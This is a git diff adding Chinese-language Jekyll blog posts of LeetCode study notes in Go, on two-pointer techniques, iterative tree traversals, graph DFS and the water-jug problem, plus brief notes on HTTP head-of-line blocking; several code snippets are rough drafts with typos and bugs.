+right:=k +for { + left++ + right++ +} +return +``` + +### 左右端点指针 + +```go +/* +16 最接近的三数之和 +*/ +func threeSumClosest(nums []int, target int) int { + sort.Ints(nums) + //fmt.Println(nums) + minDis:= math.MaxInt32 + res:=0 + // nums[left] + nums[right] == target - nums[i] + for i:=0;i0{ + return a + } + return -1 +} + + +``` + +> 但是 leetcode 不讲武德,`nums[i]`出现了 0 题目显示`1 <= nums[i] <= 1000` + +```go +/*713. 乘积小于 K 的子数组*/ + +func numSubarrayProductLessThanK(nums []int, k int) int { + + if len(nums)==1{ + if nums[0] < k{ + return 1 + } + return 0 + } + prefixSum:= make([]int,len(nums)+1) + prefixSum[0]=1 + for i:=0;i=1 { + left:=right -1 + for left>=0{ + + if prefixSum[left] >0 && prefixSum[right]/prefixSum[left] < k{ + // 随着left的减小 prefixSum[right]/prefixSum[left-1]会越来越大 + secondCount++ + } + left-- + } + right-- + // left ~right 的小于 + } + return secondCount + // prefixSum[j]/prefixSum[i-1] + // i j + // 2 3 4 5 6 + // 1 2 6 24 120 720 + // +} + +func getSum(nums []int, target int)int{ + count:=0 + for k,_ := range nums{ + if nums[k]< target{ + count++ + } + } + return count +} + + +``` + +```go +/*713. 乘积小于 K 的子数组*/ +func numSubarrayProductLessThanK(nums []int, k int) int { + + count := 0 + // 对于每一个右指针,统计可以选择的左边指针有多少个 + for left,right,pre:=0,0,1 ;right 窗口内的值小于 target 就不断的扩大,扩大的过程中间不断计数,直到大于某个数,不断的缩小,缩小的过程是,缩小到窗口内部的数再次小于 target 或者窗口到 0.(left<= right) + +```go +/* 977. 有序数组的平方 */ +func sortedSquares(nums []int) []int { + left:=0 + for left < len(nums){ + right:=left+1 + for right < len(nums){ + if abs(nums[right]) < abs(nums[left]){ + nums[left] ,nums[right] = nums[right],nums[left] + + } + right++ + } + nums[left]= nums[left]*nums[left] + left++ + } + return nums +} + +func abs(a int)int{ + if a < 0{ + return -a + } + return a +} + + +``` + +> 左右端点指针 + +```go +func sortedSquares(nums []int) []int { + for k,v := range nums{ + nums[k] = v*v + } + //fmt.Println(nums) + + s:=len(nums)-1 + temp:= make([]int,len(nums)) + // [25,9,4,1] + // 1 25 + // 1 4 25 + // 1 9 4 25 + left:=0 + right:= len(nums)-1 + for left <=right{ + if nums[left] <= nums[right]{ + temp[s] = nums[right] + s-- + right-- + }else{ + temp[s] = nums[left] + s-- + left++ + } + } + // 4 1 0 2 3 + // 3 4 + // 0 1 2 3 4 + return temp +} + +func abs(a int)int{ + if a < 0{ + return -a + } + return a +} + + +``` + +> 左右端点指针 + +```go +func numRescueBoats(people []int, limit int) int { + sort.Ints(people) + //fmt.Println(people) + used:=make([]bool,len(people)) + count:=0 + right:= len(people)-1 + for i:=0;ii ;right--{ + // 最后一个<= target的数 + if people[right] <= target{ + break + } + } + if right > i { + if used[right] == false{ + used[right] = true + count++ + }else{ + for right>i && used[right]== true{ + // 向左边遍历 + right-- + } + if right>i && used[right]== false{ + // 如果找到了 + used[right] = true + count++ + }else{ + count++ + } + } + }else{ + count++ + continue + } + used[i] = true + } + // 2 2 2 3 3 + // [3,3,4,5] + // 1 1 + + return count +} +``` + +> 左右端点指针 + +```go +func numRescueBoats(people []int, limit int) int { + sort.Ints(people) + fmt.Println(people) + count:=0 + left:=0 + right:= len(people)-1 + for left <= right{ + if left==right{ + // 一个人单独一艘船 + count++ + break + } + if people[left] + people[right] <= limit{ + left++ + right-- + count++ + }else{ + // left不动 + // right单独一艘船 + right-- + count++ + } + } + // 2 2 2 3 3 + // [3,3,4,5] + // 1 1 + + return count +} +``` + +```go +var happend map[int]bool +func isHappy(n int) bool { + happend = map[int]bool{} + return traverse(n) +} + +func traverse(n int)bool{ + if happend[n]== true{ + return false + } + if n == 1{ + return true + } + + happend[n]= true + sum:=getSum(n) + res:=traverse(sum) + return res +} + +func getSum(n int)int{ + sum:=0 + for n>0{ + k:=n%10 + sum = sum + k*k + n=n/10 + } + return sum +} +``` + +> 固定长指针 + +```go +var str string + +func maxVowels(s string, k int) int { + str = s + left:=0 + res:=0 + count:=0 + for i:=0;ib{ + return a + } + return b +} +func isVowels(right int) bool{ + if str[right] == 'a' || str[right] == 'e' || str[right] == 'i' || str[right] == 'o' || str[right] == 'u' { + return true + } + return false +} +``` + +> 变长指针 + +```go +var str string +func maxPower(s string) int { + str = s + left:=0 + right:=1 + res:=1 + for right < len(s){ + if s[left] == s[right]{ + res=max(res,right-left+1) + }else{ + left = right + } + right++ + } + // 0 1 2 + return res +} + +func max( a int , b int) int{ + if a>b{ + return a + } + return b +} +``` + +```go +/* 101. 对称二叉树 */ +/** + * Definition for a binary tree node. + * type TreeNode struct { + * Val int + * Left *TreeNode + * Right *TreeNode + * } + */ +var NULL int +var SymmetricIs bool +func isSymmetric(root *TreeNode) bool { + NULL = -999 + if root == nil{ + return true + } + return traverse(root) + +} +// 层序遍历 +// 每一层判断是不是 +func traverse(root *TreeNode) bool{ + layer:= []*TreeNode{root} + for len(layer)!=0{ + nextLayer:=[]*TreeNode{} + if Judge(layer) == false{ + return false + } + count:=0 + for i:=0;i 根本原因是使用了队列这个数据结构。 + +协议规定,同一个 TCP 连接,所有的 HTTP1.0 请求放入队列,只有前一个请求的响应被收到,才能发送下一个请求。这个阻塞主要发生在客户端。 + +HTTP/1.0 +每个请求都需要建立一次 TCP 连接。请求结束的时候立即断开连接。 + +HTTP/1.1 +每个连接都默认是长连接。同一个 TCP 连接可以发送多个请求。解决了 HTTP/1.0 的队头阻塞问题。也就是 HTTP/1.1 中管道的概念。 +但是 HTTP/1.1 规定,服务端发送的响应按照请求被接收的顺序排队。先收到的请求先响应。如果先收到的请求时间比较长,那么响应的就会慢。阻塞已经处理完的其他请求的响应。也会造成队头部阻塞,但是队头阻塞发生在服务器端。 + +#### HTTP/2 如何解决队头阻塞问题? + +HTTP/2 为了解决队头阻塞的问题,HTTP/2 采用二进制分帧和多路复用等方法。帧 HTTP/2 数据通信的最小单位。HTTP/1.1 的数据包是文本格式。HTTP/2 的数据包是二进制格式。 + +帧传输的方式可以把请求和响应的数据分割的更小。二进制协议可以被高效的解析。HTTP/2 下,同一域名下的所有通信都在同一个连接。并且这个连接可以承载任意数量的双向数据流。每个数据刘都以消息的信息发送。消息由一个或者多个帧组成。多个帧指尖可以乱序发送。可以根组帧首部的流标识重新组装。 + +`多路复用`用来代替原来的序列和拥塞机制。在 HTTP1.1 并发的多个请求需要多个 TCP 连接,单个域名有 6 ~ 8 个 TCP 连接请求(这个限制是浏览器限制的)在 HTTP/2 中同一个域名下的所有的通信在单个连接完成,仅仅占用一个 TCP 连接。在这个连接上可以进行并行请求和响应,互不干扰。 + +> 协议长连接是指的 TCP 连接,而并非 HTTP 连接,因为 HTTP 是建立 TCP 连接之上的,所以间接的也说 HTTP 可以分为长连接和短连接了。 +> HTTP1.0 协议不支持长连接,从 HTTP1.1 协议以后,连接默认都是长连接。 + +### 2. 栈的应用 + +栈常见的应用,进制转化,括号匹配。中缀表达式子,后缀表达式。栈混洗。n 个元素的栈混洗有多少种, n 对括号的合法表达式就有多少种。 + +### 3.树 + +树的重要性质: +如果树有 n 个节点,那么就有 n-1 条遍。树的顶点数和边数是同阶的。 + +### 4.二叉树 + +```text +94.binary-tree-inorder-traversal +102.binary-tree-level-order-traversal +103.binary-tree-zigzag-level-order-traversal +144.binary-tree-preorder-traversal +145.binary-tree-postorder-traversal +199.binary-tree-right-side-view +``` + +### 5.堆 + +堆其实就是一种优先级队列。 + +在⼀个 最⼩堆 (min heap) 中,如果 P 是 C 的⼀个⽗级节点,那么 P +的 key (或 value) 应⼩于或等于 C 的对应值。 正因为此,堆顶元素 +⼀定是最⼩的,我们会利⽤这个特点求最⼩值或者第 k ⼩的值。 + +### 6.查找树 + +- 左子树的所有节点的值均小于根节点的数。 +- 右子树的所有节点的值均小于根节点的数。 + +### 7.前缀树 + +用来统计,排序,和保存大量的字符串。搜索引擎用来统计文本词频统计。 +利用字符串的公共前缀来减少查询的时间,最大限度的减少无谓的字符串的比较。 + +- 根节点不包含字符。除根节点外的每个节点都只包含一个字符。 +- 从根节点到某个节点,节点经过的字符都连接起来为该节点对应的字符串。 +- 每个节点的子节点都不相同。 + +```text +208.implement-trie-prefix-tree +211.add-and-search-word-data-structure-design +212.word-search-ii +``` diff --git a/_posts/2023-4-16-test-markdown.md b/_posts/2023-4-16-test-markdown.md new file mode 100644 index 000000000000..c0db846e33b2 --- /dev/null +++ b/_posts/2023-4-16-test-markdown.md @@ -0,0 +1,782 @@ +--- +layout: post +title: 树专题 +subtitle: +tags: [leetcode] +comments: true +--- + +```go +/* 给定两个整数a和b,它们的最大公约数为d,那么一定存在整数x和y,使得ax + by = d。 +证明这个定理是比较困难的,但我们可以根据这个定理来解决这个问题。 + +我们将x,y看作是a,b的系数,初始状态下我们有x=0,y=0,表示两个壶中都没有水。我们需要求出是否存在一种操作序列,可以把其中一个壶装满一定的水,在不浪费任何水的情况下,使得另一个壶中恰好装有z升水。 + +为了方便起见,我们称相互倾倒的两个状态为一组状态(也就是说,如果在某个时刻我们从x壶向y壶倾倒,则它们构成一个新的状态)。同时,我们使用一个集合visited来记录已经搜索过的状态。对于每个状态,我们可以执行以下操作: + +把x壶装满; +把y壶装满; +把x壶倒空; +把y壶倒空; +把x壶倒进y壶直到y壶满或x壶为空; +把y壶倒进x壶直到x壶满或y壶为空。 +使用上述方法进行搜索,可以得到一个递归的解决方案。搜索时,我们从初始状态开始,尝试所有可能的操作,并且记录新产生的状态。如果在这些状态中已经存在目标状态,则返回True;否则继续向下搜索。当我们到达一个已访问过的状态时,我们可以停止搜索当前路径(因为之前必然已经遍历过这个状态,但没有找到答案)。 + +代码实现如下: + + */ + +/*365. 水壶问题*/ +func canMeasureWater(jug1Capacity int, jug2Capacity int, targetCapacity int) bool { + if targetCapacity==0{ + return true + } + if jug1Capacity ==0 { + return targetCapacity ==jug1Capacity || targetCapacity == jug2Capacity + } + if jug2Capacity ==0{ + return targetCapacity ==jug1Capacity || targetCapacity == jug2Capacity + } + + if jug1Capacity+jug2Capacity y{ + return FindGreatestCommonDivisor(y,x%y) + }else{ + return FindGreatestCommonDivisor(x,y%x) + } + +} +``` + +```go +/*365. 水壶问题*/ +func canMeasureWater(jug1Capacity int, jug2Capacity int, targetCapacity int) bool { + return calculate(jug1Capacity,jug2Capacity,targetCapacity) +} + +func calculate(x int, y int,z int)bool{ + if x+y < z { + return false + } + if z==0{ + return true + } + visted:=map [[2]int]bool{} + // 假设两个水壶里面初始状态都没有水,然后不断操作,判断是否存在某组操作使得刚好凑成z的水 + // 如果某个x,y在visted中间之前出现过了,那么证明出现了环,无解 + status:= [][2]int{[2]int{0,0}} + for len(status)!=0{ + nextStatus := [][2]int{} + for _,v := range status{ + //fmt.Println(v) + if v[0]+v[1] == z{ + return true + } + if _,ok:=visted[v];ok { + continue + } + // 标记该状态存在过 + visted[v] = true + // 新的状态 + // 把x壶装满 + nextStatus = append(nextStatus,[2]int{x,v[1]}) + // 把y壶装满 + nextStatus = append(nextStatus,[2]int{v[0],y}) + // 把x壶倒空 + nextStatus = append(nextStatus,[2]int{0,v[1]}) + // 把y壶倒空 + nextStatus = append(nextStatus,[2]int{v[0],0}) + // 把x壶倒进y壶 + if v[0]+v[1] <= y{ + nextStatus = append(nextStatus,[2]int{0,v[0]+v[1]}) + }else{ + nextStatus = append(nextStatus,[2]int{v[0]+v[1]-y,y}) + } + // 把y壶倒进x壶 + if v[0]+v[1] <= x{ + nextStatus = append(nextStatus,[2]int{v[0]+v[1],0}) + }else{ + nextStatus = append(nextStatus,[2]int{x,v[0]+v[1]-x}) + } + } + status = nextStatus + } + return false +} +// 既然最终水量为ax+by,则只需判断是否存在a、b,满足: ax + by = z 根据祖定理可知,判断该线性方程是否有解需要需要判断z是否为x,y最大公约数的倍数。此时为题转化为了求解最大公约数,而该问题可以使用gcd算法(辗转相除法) + +// 如果x和y的最大公约数为1的话,那么经过多次迭代之后,可以凑出来[1,x+y]区间的任何正整数。 +// 如果不为1,提取x和y的最大公约数g之后,参照上述可以凑出来[1, (x+y)/g]区间的任何正整数, + +func FindGreatestCommonDivisor(x int , y int)int{ + if x==0 { + return y + } + if y==0{ + return x + } + if x>y{ + return FindGreatestCommonDivisor(y,x%y) + }else{ + return FindGreatestCommonDivisor(x,y%x) + } + +} +``` + +```go +func FindLeastCommonMultiple(x int , y int)int{ + t:=FindGreatestCommonDivisor(x,y) + if t!=0{ + return x*y/t + } + return x*y +} +``` + +### 迭代遍历树 + +垃圾回收-三色标记法 + +- 白色表示尚未被访问。 + +> 中序遍历 + +```go + +func traverse(root *TreeNode) (res []int){ + white ,gray := 0,1 + + stack:= []*Elem{ &Elem{root}} + // 倒序是不断的从栈顶部弹出元素 + for len(stack)!=0 { + // 弹出首部元素 + elem:= stack[ len(stack)-1] + stack = stack[ :len(stack)-1] + if elem.node == nil{ + continue + } + if elem.color == white{ + stack = append(stack, &Elem{node: elem.node.Right, color: white}) + stack = append(stack, &Elem{node: elem.node.Left, color: gray}) + stack = append(stack, &Elem{node: elem.node, color: white}) + }else{ + res = append(res,elem.node.Val) + } + } + return res +} + +type Elem struct{ + node *TreeNode + color int +} +``` + +> 前序遍历 + +```go +func traverse(root *TreeNode) (res []int){ + white ,gray := 0,1 + + stack:= []*Elem{ &Elem{root}} + // 倒序是不断的从栈顶部弹出元素 + for len(stack)!=0 { + // 弹出首部元素 + elem:= stack[ len(stack)-1] + stack = stack[ :len(stack)-1] + if elem.node == nil{ + continue + } + if elem.color == white{ + stack = append(stack, &Elem{node: elem.node.Right, color: white}) + stack = append(stack, &Elem{node: elem.node.Left, color: gray}) + stack = append(stack, &Elem{node: elem.node, color: white}) + }else{ + res = append(res,elem.node.Val) + } + } + return res +} + +type Elem struct{ + node *TreeNode + color int +} +``` + +> 后序遍历 + +```go +func traverse(root *TreeNode) (res []int){ + white ,gray := 0,1 + + stack:= []*Elem{ &Elem{root}} + // 倒序是不断的从栈顶部弹出元素 + for len(stack)!=0 { + // 弹出首部元素 + elem:= stack[ len(stack)-1] + stack = stack[ :len(stack)-1] + if elem.node == nil{ + continue + } + if elem.color == white{ + stack = append(stack, &Elem{node: elem.node.Right, color: gray}) + stack = append(stack, &Elem{node: elem.node.Left, color: gray}) + stack = append(stack, &Elem{node: elem.node, color: white}) + }else{ + res = append(res,elem.node.Val) + } + // 将结果反转 + for i, j := 0, len(res)-1; i < j; i, j = i+1, j-1 { + res[i], res[j] = res[j], res[i] + } + } + // 1 2 3 + // 1 3 2 + // 2 3 1 + // 1 3 + return res +} + +type Elem struct{ + node *TreeNode + color int +} +``` + +### DFS 的迭代实现 + +> 前序遍历 + +```go +/** + * Definition for a binary tree node. + * type TreeNode struct { + * Val int + * Left *TreeNode + * Right *TreeNode + * } + */ + +func preorderTraversal(root *TreeNode) []int { + return traverse(root) +} +// 根 左 右 +// 1 2 3 +// 因为左 靠根 更近,所以左放在栈顶部所以顺序是这个样子 +/* + if node.Right!=nil{ + stack =append(stack,node.Right) + } + if node.Left!=nil{ + stack = append(stack,node.Left) + } +*/ +func traverse(root *TreeNode)[]int{ + if root == nil{ + return []int{} + } + res:= []int{} + stack:= []*TreeNode{root} + for len(stack)!=0{ + node:= stack[len(stack)-1] + stack = stack [:len(stack)-1] + res = append(res,node.Val) + if node.Right!=nil{ + stack =append(stack,node.Right) + } + if node.Left!=nil{ + stack = append(stack,node.Left) + } + } + return res +} +``` + +> 后序遍历 + +```go +/** + * Definition for a binary tree node. + * type TreeNode struct { + * Val int + * Left *TreeNode + * Right *TreeNode + * } + */ +func postorderTraversal(root *TreeNode) []int { + return traversal(root) +} +// 1 2 3 +// 左 右 根 +// 左 右都是放在根的前面,所以是 +// res = append([]int{node.Val},res...) +func traversal(root *TreeNode) []int { + if root == nil { + return []int{} + } + stack, res := []*TreeNode{root}, []int{} + for len(stack)> 0{ + node := stack[len(stack)-1] + stack = stack[:len(stack)-1] + res = append([]int{node.Val}, res...) + if node.Left != nil { + stack = append(stack, node.Left) + } + if node.Right != nil { + stack = append(stack, node.Right) + } + } + return res +} +``` + +> 中序遍历 + +```go +// 1 2 3 +// 1 2 入栈 +// 2 出栈被添加到res +// 1 出栈被添加到res +// 3 入栈 +// 3 出栈被添加到res +/** + * Definition for a binary tree node. + * type TreeNode struct { + * Val int + * Left *TreeNode + * Right *TreeNode + * } + */ +var result []int +func inorderTraversal(root *TreeNode) []int { + return travserse(root) +} + +func travserse(root *TreeNode)[]int{ + if root == nil{ + return []int{} + } + res:= []int{} + stack := []*TreeNode{} + // 左根右 + p:=root + for len(stack)>0 || p!=nil{ + if p!=nil{ + stack = append(stack,p) + // 不断的把左子树入栈 + p = p.Left + }else{ + // 回退的时候找右子树 + node := stack[len(stack)-1] + stack = stack[:len(stack)-1] + res = append(res,node.Val) + p = node.Right + } + } + // 左1 根1 右1 + // 左2 左1 右2 根1 右1 + // 根1 左1 + // + return res +} +``` + +### 三色标记法实现树的遍历 + +> 前序遍历 + +```go + +type NodeColor struct { + node *TreeNode + color int +} + +func preorderTraversal(root *TreeNode) []int { + res :=[]int + if root == nil{ + return res + } + + white:=0 + gray:=1 + + stack := []NodeColor{ + NodeColor{ + node: root, + color: 0, + }} + for len(stack) >0{ + item := stack[len(stack)-1] + stack = stack[:len(stcak)-1] + if item.node == nil{ + continue + } + + if item.color == gray{ + continue + } + + if item.color == white{ + // 节点为白色为未被添加到res中,那么这个时候就把左右边孩子添加进去 + res = append(res,item.node.Val) + item.node.color = gray + stack = append(stack,NodeColor{node:item.node.Right ,color:0}) + stack = append(stack,NodeColor{node:item.node.Left ,color:0}) + stack = append(stack,NodeColor{node:item.node,color:1}) + } + } +} + +``` + +> 前序遍历 + +```go + +/** + * Definition for a binary tree node. + * type TreeNode struct { + * Val int + * Left *TreeNode + * Right *TreeNode + * } + */ + +func preorderTraversal(root *TreeNode) []int { + return Traversal(root) +} +type NodeColor struct { + node *TreeNode + color int +} + +func Traversal(root *TreeNode) []int { + res :=[]int{} + if root == nil{ + return res + } + + white:=0 + gray:=1 + + stack := []NodeColor{ + NodeColor{ + node: root, + color: 0, + }} + for len(stack) >0{ + item := stack[len(stack)-1] + stack = stack[:len(stack)-1] + if item.node == nil{ + continue + } + + if item.color == gray{ + continue + } + + if item.color == white{ + // 节点为白色为未被添加到res中,那么这个时候就把左右边孩子添加进去 + res = append(res,item.node.Val) + stack = append(stack,NodeColor{node:item.node.Right ,color:0}) + stack = append(stack,NodeColor{node:item.node.Left ,color:0}) + } + } + return res +} + +// 1 +// 2 3 +// 4 5 6 7 + +// [1] +// 3 2 [1,2] +// 3 5 4 [1,2,4] +// 3 5 [1,2,4,5] +// 3 [1,2,4,5,3] +// 7 6 [1,2,4,5,3,6] +// 7 [1,2,4,5,3,6 7] +// [] + +``` + +> 后序遍历 + +```go +// 1 +// 2 3 +// 4 5 6 7 + +// 1 [1] +// 2 3 [3 1] +// 2 6 7 [7,3 1] +// 2 7 [6,7,3 1] +// 2 [2,7,6,3 1] +// 4 5 [5,2,7,6,3 1] +// 4 [4,5,2,7,6,3 1] +// 4 5 2 6 7 3 1 +/** + * Definition for a binary tree node. + * type TreeNode struct { + * Val int + * Left *TreeNode + * Right *TreeNode + * } + */ +func postorderTraversal(root *TreeNode) []int { + return Traversal(root) +} +type NodeColor struct { + node *TreeNode + color int +} + +func Traversal(root *TreeNode) []int { + res :=[]int{} + if root == nil{ + return res + } + + white:=0 + gray:=1 + + stack := []NodeColor{ + NodeColor{ + node: root, + color: 0, + }} + for len(stack) >0{ + item := stack[len(stack)-1] + stack = stack[:len(stack)-1] + if item.node == nil{ + continue + } + + if item.color == gray{ + continue + } + + if item.color == white{ + // 节点为白色为未被添加到res中,那么这个时候就把左右边孩子添加进去 + res = append([]int{item.node.Val},res...) + stack = append(stack,NodeColor{node:item.node.Left ,color:0}) + stack = append(stack,NodeColor{node:item.node.Right ,color:0}) + } + } + return res +} +``` + +> 中序遍历 + +```go +/** + * Definition for a binary tree node. + * type TreeNode struct { + * Val int + * Left *TreeNode + * Right *TreeNode + * } + */ + +// 1 +// 2 3 +// 4 5 6 7 +// 4 2 5 1 6 3 7 +// 1 +// 3 1^ 2 +// 3 1^ 5 2^ 4 +// 3 1^ 5 2^ 4^ [4] +// 3 1^ 5 [4,2] +// 3 1^ 5^ [4,2,5] +// 3 1^ [4,2,5,1] +// 7 3^ 6 [4,2,5,1] +// 7 3^ 6^ [6,4,2,5,1] +// 7 3^ [3,6,4,2,5,1] +// 7^ [7,3,6,4,2,5,1] + +/** + * Definition for a binary tree node. + * type TreeNode struct { + * Val int + * Left *TreeNode + * Right *TreeNode + * } + */ +var result []int +func inorderTraversal(root *TreeNode) []int { + return Traversal(root) +} + +type NodeColor struct { + node *TreeNode + color int +} + +func Traversal(root *TreeNode) []int { + res :=[]int{} + if root == nil{ + return res + } + + white:=0 + gray:=1 + + stack := []NodeColor{ + NodeColor{ + node: root, + color: 0, + }} + for len(stack) >0{ + item := stack[len(stack)-1] + stack = stack[:len(stack)-1] + if item.node == nil{ + continue + } + if item.color == white{ + // 节点为白色为未被添加到res中,那么这个时候就把左右边孩子添加进去 + stack = append(stack,NodeColor{node:item.node.Right ,color:0}) + stack = append(stack,NodeColor{node:item.node ,color:1}) + stack = append(stack,NodeColor{node:item.node.Left ,color:0}) + }else if item.color == gray{ + // 因为是left先弹出 + // 所以是 + res = append(res,item.node.Val) + } + } + return res +} + +``` + +> 优化版后序遍历 + +```go +/** + * Definition for a binary tree node. + * type TreeNode struct { + * Val int + * Left *TreeNode + * Right *TreeNode + * } + */ +func postorderTraversal(root *TreeNode) []int { + return Traversal(root) +} + +type NodeColor struct { + node *TreeNode + color int +} + +func Traversal(root *TreeNode) []int { + res :=[]int{} + if root == nil{ + return res + } + + white:=0 + gray:=1 + + stack := []NodeColor{ + NodeColor{ + node: root, + color: 0, + }} + for len(stack) >0{ + item := stack[len(stack)-1] + stack = stack[:len(stack)-1] + if item.node == nil{ + continue + } + if item.color == white{ + // 节点为白色为未被添加到res中,那么这个时候就把左右边孩子添加进去 + stack = append(stack,NodeColor{node:item.node ,color:1}) + stack = append(stack,NodeColor{node:item.node.Right ,color:0}) + stack = append(stack,NodeColor{node:item.node.Left ,color:0}) + }else if item.color == gray{ + // 因为是left先弹出 + // 所以是 + res = append(res,item.node.Val) + } + } + return res +} +``` + +> 优化版前序遍历 + +```go +/** + * Definition for a binary tree node. + * type TreeNode struct { + * Val int + * Left *TreeNode + * Right *TreeNode + * } + */ + +func preorderTraversal(root *TreeNode) []int { + return Traversal(root) +} +type NodeColor struct { + node *TreeNode + color int +} + +func Traversal(root *TreeNode) []int { + res :=[]int{} + if root == nil{ + return res + } + + white:=0 + gray:=1 + + stack := []NodeColor{ + NodeColor{ + node: root, + color: 0, + }} + for len(stack) >0{ + item := stack[len(stack)-1] + stack = stack[:len(stack)-1] + if item.node == nil{ + continue + } + if item.color == white{ + // 节点为白色为未被添加到res中,那么这个时候就把左右边孩子添加进去 + stack = append(stack,NodeColor{node:item.node.Right ,color:0}) + stack = append(stack,NodeColor{node:item.node.Left ,color:0}) + stack = append(stack,NodeColor{node:item.node ,color:1}) + // 这里的从下往上的顺序就是遍历的顺序 + }else if item.color == gray{ + // 因为是left先弹出 + // 所以是 + res = append(res,item.node.Val) + } + } + return res +} +``` diff --git a/_posts/2023-4-17-test-markdown.md b/_posts/2023-4-17-test-markdown.md new file mode 100644 index 000000000000..96dfacd57411 --- /dev/null +++ b/_posts/2023-4-17-test-markdown.md @@ -0,0 +1,1251 @@ +--- +layout: post +title: 图专题 +subtitle: +tags: [leetcode] +comments: true +--- + +### 图的 DFS + +右手原则:在没有碰到重复顶点的情况下,分叉路口始终是向右手边走。每路过一个顶点就做一个记号。 + +左手原则:在没有碰到重复顶点的情况下,分叉路口始终是向左手边走。每路过一个顶点就做一个记号。 + +可以从图的任何一个顶点开始,进行深度优先遍历。假设我们从顶点 A 开始,遍历过程的每一步如下: + +- 标记 A 节点。 +- 根据右手原则访问顶点 B,并将 B 标记为已访问顶点。 +- 根据右手原则访问顶点 C,并将 C 标记为已访问顶点。 +- 根据右手原则访问顶点 D,并将 D 标记为已访问顶点。 +- 根据右手原则访问顶点 E,并将 E 标记为已访问顶点。 +- 根据右手原则访问顶点 F,并将 F 标记为已访问顶点。 +- 右手原则,应该先访问顶点 F 的邻接顶点 A,但发现 A 已被访问,则访问除 A 之外的最右侧顶点 G。 +- 右手原则,先访问顶点 B,顶点 B 已被访问;再访问顶点 D,顶点 D 已经被访问;最后访问顶点 H。 + +- 发现顶点 H 的邻接顶点均已被访问,则退回到顶点 G; +- 顶点 G 的邻接顶点均已被访问,则退回到顶点 F; +- 顶点 F 的邻接顶点已被访问,则退回到顶点 E; +- 顶点 E 的邻接顶点均已被访问,则退回到顶点 D; +- 顶点 D 的邻接顶点 I 尚未被访问,则访问顶点 I; +- 顶点 I 的邻接顶点均已被访问,则退回到顶点 D; + +过程: + +- 选定一个未被访问过的顶点 V 作为起始顶点,标记为已访问过。 +- 搜索与 V 邻接的所有顶点,判断这些顶点是否被访问过。如果有未被访问过的顶点 W,选取 W 邻接的未被访问过的节点。依次重复进行。 +- 如果某个节点的所有邻接节点都被访问过,那么就回退出到最近被访问的节点,若该节点还有没有被访问的元素,那么选取该接嗲重复。直到与起始顶点 V 相邻的所有顶点都被访问过。 + +深度优先遍历(搜索)最简单的实现方式就是递归,由于图的存储方式不同 + +邻接矩阵的深度遍历操作+遍历包含顶点 i 的连通图 + +#### 邻接矩阵的栈实现 + +> 栈是一种先进后出的数据结构,可以用来存储图中遍历时的节点信息。下面是邻接矩阵的栈实现示例。邻接矩阵的栈实现可以用来存储图遍历时的节点信息。 + +```go +type Stack struct { + data []int +} + +func NewStack() *Stack { + return &Stack{ + data: make([]int, 0), + } +} + +func (s *Stack) Push(val int) { + s.data = append(s.data, val) +} + +func (s *Stack) Pop() int { + if len(s.data) == 0 { + return -1 + } + val := s.data[len(s.data)-1] + s.data = s.data[:len(s.data)-1] + return val +} + +func (s *Stack) Top() int { + if len(s.data) == 0 { + return -1 + } + return s.data[len(s.data)-1] +} + +func (s *Stack) Empty() bool { + return len(s.data) == 0 +} +// graph 如果是 0 1 2 3 4 +// 0 0 1 0 0 1 +// 1 1 0 1 0 0 +// 2 0 1 0 1 0 +// 3 0 0 1 0 1 +// 4 1 0 0 1 0 + +// 图可以是 +// 0 [1,4] +// 1 [0,2] +// 2 [1,3] +// 3 [2,4] +// 4 [3,1] + +func DFS(graph [][]int,start int){ + visited:= map[int]bool + stack := []int{start} + for len(stack)> 0{ + index := stack[len(stack)-1] + stack = stack [:len(stack)-1] + if visited[index] == true{ + continue + } + visited[index]= true + // 在子节点中寻找下一个节点 + for _,v := range graph [index]{ + // visited[v]!= true && v==1 如果图是第一钟 + // visited[v]!= true 图是第二钟 + if visited[v]!= true { + stack = append(stack,v) + } + } + } +} +``` + +#### 邻接矩阵的存储递归实现 + +> 邻接矩阵的存储递归实现,可以用来查找连通分量,判断图是否连通。 + +```go +func DFS(graph [][]int,visted map[int]bool,node int){ + if visted[node] == true{ + return + } + visted[node] == true + // 寻找子节点 + for _,v := graph[node]{ + if visted[v] != true{ + DFS(graph,visted,v) + } + } +} +``` + +```go +/* */ +func possibleBipartition(n int, dislikes [][]int) bool { + graph := make([][]int,n) + colored := make(map[int]int) + // 图的建立 + for _,item := range dislikes{ + who1,who2:=item[0]-1,item[1]-1 + graph[who1] = append(graph[who1],who2) + graph[who2] = append(graph[who2],who1) + } + //fmt.Println(graph) + + // 染色 + for i:=0;i0{ + nextLayer:= []*TreeNode{} + for _,v := range layer{ + if v == nil{ + continue + } + if v.Left!=nil{ + nextLayer = append(nextLayer,v.Left) + } + if v.Right!= nil{ + nextLayer = append(nextLayer,v.Right) + } + } + res = res+len(layer) + if len(nextLayer) == 0{ + return res + } + layer = nextLayer + } + return 0 +} + +``` + +```go +/* 124. 二叉树中的最大路径和 */ +/** + * Definition for a binary tree node. + * type TreeNode struct { + * Val int + * Left *TreeNode + * Right *TreeNode + * } + */ +var maxPath int +func maxPathSum(root *TreeNode) int { + maxPath = math.MinInt32 + Traverse(root) + return maxPath +} + +func Traverse(root *TreeNode){ + if root == nil{ + return + } + pathSum := DFS(root) + maxPath = max(maxPath,pathSum) + Traverse(root.Left) + Traverse(root.Right) +} + +func DFS(root *TreeNode) int{ + if root == nil{ + return 0 + } + left := DFS(root.Left) + right := DFS(root.Right) + // 左子树+ 右子树+ 根节点(根部节点是必选) + maxPath = max(maxPath,max(left,0) + max(right,0) + root.Val) + //fmt.Println(maxPath) + return max(max(left,right),0) + root.Val +} + + + + +func max(a int ,b int) int{ + // 如果是小于0的数就抛弃 + if a>b { + return a + } + return b +} +``` + +```go + +var res [][]int +var target int +func pathSum(root *TreeNode, targetSum int) [][]int { + res = [][]int{} + target = targetSum + DFS(root,[]int{},0) + return res +} + +func DFS(root *TreeNode,path []int,sum int) { + if root == nil{ + return + } + path = append(path,root.Val) + sum = sum + root.Val + if sum == target && root.Left == nil && root.Right == nil{ + tmp := make([]int, len(path)) + copy(tmp, path) + res = append(res, tmp) + // 直接这么写是有问题,因为res存储的是对切片的引用,当切片在递归的时候被更改,res也会被更改 + } + DFS(root.Left,path,sum) + DFS(root.Right,path,sum) + path = path[:len(path)-1] +} +``` + +```go +/*834. 树中距离之和*/ +/* +给定一个无向、连通的树。树中有 n 个标记为 0...n-1 的节点以及 n-1 条边 。 + +给定整数 n 和数组 edges , edges[i] = [ai, bi]表示树中的节点 ai 和 bi 之间有一条边。 + +返回长度为 n 的数组 answer ,其中 answer[i] 是树中第 i 个节点与所有其他节点之间的距离之和。 